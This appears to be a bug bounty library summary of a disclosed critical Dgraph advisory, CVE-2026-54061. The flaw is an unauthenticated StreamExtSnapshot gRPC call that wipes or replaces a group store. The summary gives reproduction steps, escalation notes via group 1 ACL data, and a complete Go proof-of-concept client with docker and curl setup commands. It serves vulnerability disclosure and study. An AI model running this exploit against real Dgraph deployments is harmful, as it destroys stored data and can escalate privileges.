# Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import

Unauthenticated StreamExtSnapshot RPC on Dgraph Alpha's public gRPC port lets an attacker trigger Badger Prepare() and wipe or replace a group store.

- Payout: Research
- Severity: critical
- Program: Dgraph
- Found by: u-ktdi
- Disclosed: 2026-08-20
- CVE: CVE-2026-54061
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-rrwh-6jrq-wp5v
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rrwh-6jrq-wp5v
- Tags: area:cloud domain:infra impact:integrity impact:privesc kind:research platform:ghsa sev:critical tech:go tech:grpc technique:source-review vuln:access-control vuln:auth-bypass vuln:dos

**Target:** Dgraph Alpha public gRPC service (:9080), StreamExtSnapshot RPC
**Root cause:** Streaming RPCs like StreamExtSnapshot lack a stream interceptor and perform no authorization checks, so unauthenticated clients reach Badger StreamWriter.Prepare(), which deletes the existing group DB.
**Steps:**
1. Start a throwaway standalone Dgraph Alpha exposing :9080 without public gRPC mTLS.
2. Insert synthetic data via `curl -sS -X POST "http://127.0.0.1:8080/mutate?commitNow=true" -H "Content-Type: application/rdf" --data-binary $'{ set { _:poc <name> "before-import" . } }'`.
3. Open `dgo.Open("dgraph://127.0.0.1:9080")` with no JWT/auth metadata and call `client.StreamExtSnapshot(ctx)`.
4. Send `&api.StreamExtSnapshotRequest{GroupId: 1}` then `&api.StreamExtSnapshotRequest{Pkt: &api.StreamPacket{Done: true}}`.
5. Observe server-side `worker.runLocalSubscriber(...)` calling `pstore.NewStreamWriter().Prepare()`, dropping the group DB; prior data no longer served.
**How found:** Noticed streaming RPCs bypass the unary auth interceptor and that the import handler calls Badger Prepare() (a destructive delete) before consuming packets; confirmed by replaying the official dgraphimport client wire format unauthenticated.
**Exploitation:** Any network client reaching Alpha's gRPC port opens StreamExtSnapshot, selects a target group, and streams Badger packets; Prepare() clears the store before the stream completes, enabling wipe or attacker-controlled replacement. In ACL-enabled deployments, replacing group 1 (ACL/internal predicates) may yield privilege escalation.
**Escalation:** Targeting group 1 in ACL-enabled deployments to overwrite ACL/internal predicates and escalate privileges.
**Insight:** Audit streaming RPCs separately from unary ones: gRPC interceptors often only cover unary calls, so destructive handlers like Badger StreamWriter.Prepare() reachable via streams can be invoked with no auth.

## Proof of concept (copied exactly from the original report)

**Unauthenticated Go client opening StreamExtSnapshot**

```
package main

import (
    "context"
    "fmt"
    "io"
    "log"

    "github.com/dgraph-io/dgo/v250"
    "github.com/dgraph-io/dgo/v250/protos/api"
)

func main() {
    ctx := context.Background()

    // No JWT or auth metadata is attached.
    dg, err := dgo.Open("dgraph://127.0.0.1:9080")
    if err != nil {
        log.Fatal(err)
    }
    defer dg.Close()

    client := dg.GetAPIClients()[0]
    stream, err := client.StreamExtSnapshot(ctx)
    if err != nil {
        log.Fatal(err)
    }

    if err := stream.Send(&api.StreamExtSnapshotRequest{GroupId: 1}); err != nil {
        log.Fatal(err)
    }
    if _, err := stream.Recv(); err != nil {
        log.Fatal(err)
    }

    // Complete an empty external snapshot stream. On the server side,
    // the local subscriber calls StreamWriter.Prepare() before consuming
    // packets from the stream.
    if err := stream.Send(&api.StreamExtSnapshotRequest{
        Pkt: &api.StreamPacket{Done: true},
    }); err != nil {
        log.Fatal(err)
    }

    for {
        resp, err := stream.Recv()
        if err == io.EOF {
            break
        }
        if err != nil {
            log.Fatal(err)
        }
        if resp.GetFinish() {
            fmt.Println("unauthenticated external snapshot stream finished")
            break
        }
    }
}
```

**Docker run and mutate to seed data**

```
docker run --rm -p 8080:8080 -p 9080:9080 \
  -v "$PWD/dgraph-ext-snapshot-poc:/dgraph" \
  dgraph-standalone:2b6d6328d

For example, insert a harmless record.

curl -sS -X POST "http://127.0.0.1:8080/mutate?commitNow=true" \
  -H "Content-Type: application/rdf" \
  --data-binary $'{ set { _:poc <name> "before-import" . } }'
```

